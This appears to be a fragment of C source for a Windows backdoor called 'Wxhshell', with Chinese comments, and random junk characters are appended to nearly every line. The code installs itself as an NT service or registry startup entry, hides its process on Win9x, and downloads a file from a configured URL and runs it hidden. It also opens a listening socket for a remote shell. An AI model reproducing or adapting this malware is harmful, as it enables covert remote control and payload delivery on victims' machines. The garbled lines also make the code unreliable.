DWORD ExitStatus; b4L7M1l
DWORD PebBaseAddress; {;$oC4
DWORD AffinityMask; jz!I +
DWORD BasePriority; M5bE5C
ULONG UniqueProcessId; d9{lj(2P
ULONG InheritedFromUniqueProcessId; r-qe7K@p
} PROCESS_BASIC_INFORMATION; _zj^k$ j
((M,6Q}
PROCNTQSIP NtQueryInformationProcess; b(K"CL\p
/k.0gYD
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E'6>3n
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f 3UCELJ
KhjC'CU,
HANDLE hProcess; `Vvi]>,cg`
PROCESS_BASIC_INFORMATION pbi; ^G4YvS(
TQR5V\{&%
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); CJ<nUIy'z
if(NULL == hInst ) return 0; y|LHnNQ
/^=1]+_!
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *Y> w0k
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); QK_5gD`$a,
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); VEps|d3,,
|\(uO|)ju
if (!NtQueryInformationProcess) return 0; a`wjZ"}'[
^J^,@Hf_
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); QE]'Dc%
if(!hProcess) return 0; Ts!'>_<Je
(cj9xROx
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6Zi{gx
LL<xygd
CloseHandle(hProcess); Us`=^\
(?zg.y
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u^MKqI
if(hProcess==NULL) return 0; ~&Z>fgOTJ
qT#e
-.G
HMODULE hMod; ) .KA0-
char procName[255]; 0U=wGIO
unsigned long cbNeeded; $N?8[
/k'7j*t Z
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )+
<w>pc
3Gs\Q{O:
CloseHandle(hProcess); cSt)Na~C
e!VtDJDS
if(strstr(procName,"services")) return 1; // 以服务启动 <+QdBp'd;
GDLw_usV
return 0; // 注册表启动 xvl$,\iqE
} v ,")XPY
8maWF.xq
// 主模块 5FZw
(E
int StartWxhshell(LPSTR lpCmdLine) 'jt7H{M
{ uw mN!!TS
SOCKET wsl; '5h`="
BOOL val=TRUE; 9=>q0D2
int port=0; mCO1,?
struct sockaddr_in door; ox-m)z `7
P~ObxY|
if(wscfg.ws_autoins) Install(); aUw-P{zp%
"L3mW=!*
port=atoi(lpCmdLine); LS~at.3zX
g Wtc3
if(port<=0) port=wscfg.ws_port; TOwqr T/
w)dnmrKDZg
WSADATA data; V 20h\(\\
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tSHW"R
=MNp;
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; yGR{-YwU!
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &%OY"Y~bI!
door.sin_family = AF_INET; R"W}\0k
door.sin_addr.s_addr = inet_addr("127.0.0.1");
Lt*P&
door.sin_port = htons(port); G9:XEEN
=WTSaC
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { svpQ.Q
closesocket(wsl); H<d~AurX)J
return 1; 7d;|?R-8D
} HzTmNm)
,AnD%#o
if(listen(wsl,2) == INVALID_SOCKET) { ]}3s/NJi
closesocket(wsl); \_Bj"K
return 1; P j
} C|ZPnm>f30
Wxhshell(wsl); G)amng/
WSACleanup(); sS-dHa
9q"kM
return 0; 4l 67B]o
-8l<5g7
} Qx)b4~F?
$d*9]M4
// 以NT服务方式启动 "\wMs
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kY)Vr3uGA
{ i$NlS}W
DWORD status = 0; ( d_z\U7l
DWORD specificError = 0xfffffff; 8?Zhh.
]PS`"o,pF$
serviceStatus.dwServiceType = SERVICE_WIN32; 9@|52dz%
serviceStatus.dwCurrentState = SERVICE_START_PENDING; UGAV"0
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t6"%u3W8M
serviceStatus.dwWin32ExitCode = 0; C:B 7%<
serviceStatus.dwServiceSpecificExitCode = 0; KlT:&1SB9
serviceStatus.dwCheckPoint = 0; `nF SJlr&
serviceStatus.dwWaitHint = 0; 7ws<' d7/
1_+ h"LE
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); NWf=mrS8@$
if (hServiceStatusHandle==0) return; }zGx0Q
|.k'?!
status = GetLastError(); g* YDgY
if (status!=NO_ERROR) J5{;+ysUMl
{ s|\)Y*B`
serviceStatus.dwCurrentState = SERVICE_STOPPED; %jL^sA2;c+
serviceStatus.dwCheckPoint = 0; p}^G#h{
serviceStatus.dwWaitHint = 0; DhE-g<
serviceStatus.dwWin32ExitCode = status; b1C)@gl !Z
serviceStatus.dwServiceSpecificExitCode = specificError; [lzd'
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5f*_K6 ,v
return; D40 vCax^J
} 3"x_Y
_ $a3lR
serviceStatus.dwCurrentState = SERVICE_RUNNING; H$%MIBz>$
serviceStatus.dwCheckPoint = 0; ^MpMqm1?8;
serviceStatus.dwWaitHint = 0; 0GUJc}fgvN
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Da-Lf2qT9
} x?L[*N_ml
FJ3S
// 处理NT服务事件,比如:启动、停止 @1*^ttC
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3L&:
{ 3m>YR-n$
switch(fdwControl) 7${<u 0((!
{ <Z^by;d|z
case SERVICE_CONTROL_STOP: |0[Buh[_:c
serviceStatus.dwWin32ExitCode = 0; ~$y"Ldrp
serviceStatus.dwCurrentState = SERVICE_STOPPED; AQ)gj$
m3
serviceStatus.dwCheckPoint = 0; 6=f)3!=
serviceStatus.dwWaitHint = 0; .lcp5D[(
{ t'eaR-
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wk[a|>
} `vBBJ@f4)
return; Wj.t4XG!
case SERVICE_CONTROL_PAUSE: QXb2jWz
serviceStatus.dwCurrentState = SERVICE_PAUSED; L"b&O<No
break; Bt<)1_
case SERVICE_CONTROL_CONTINUE: j!4{+&Laq
serviceStatus.dwCurrentState = SERVICE_RUNNING; X /c8XLe"
break; JVoC2Z<
case SERVICE_CONTROL_INTERROGATE: ^5X?WA,Z99
break; 1ui)Hv=h*
}; UBwl2Di
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y:DopKRD
} JvO1tA]ij
:SaZhY
// 标准应用程序主函数 ):K%
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !FgZI4?/Y=
{ 72;'8
%RD\Sb4YV
// 获取操作系统版本 BHr ,jC
OsIsNt=GetOsVer(); \WiCI:
GetModuleFileName(NULL,ExeFile,MAX_PATH); %r|sb=(yT
%6[,a
// 从命令行安装 "}71z
if(strpbrk(lpCmdLine,"iI")) Install(); =f~<*wQ
aBC5?V*e%
// 下载执行文件 4v_Ac;2m&
if(wscfg.ws_downexe) { wa[L[mw
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) J.UNw8z
WinExec(wscfg.ws_filenam,SW_HIDE); {]\7
M|9\
} wa@Rlzij>
!Q>xVlPVu
if(!OsIsNt) { { {\oC$
// 如果时win9x,隐藏进程并且设置为注册表启动 $UzSPhv[
HideProc(); EGl<oxL*R2
StartWxhshell(lpCmdLine); JRB6T _U
} ]$g07 7o
else @ZISv'F
if(StartFromService()) dqB,i9--
// 以服务方式启动 AGFA;X
StartServiceCtrlDispatcher(DispatchTable); 54p{J
else Z' i@;^=A
// 普通方式启动 +QN4hJK
StartWxhshell(lpCmdLine); c+ZOC8R
?!Y_w2
return 0; Z#}sK5s
}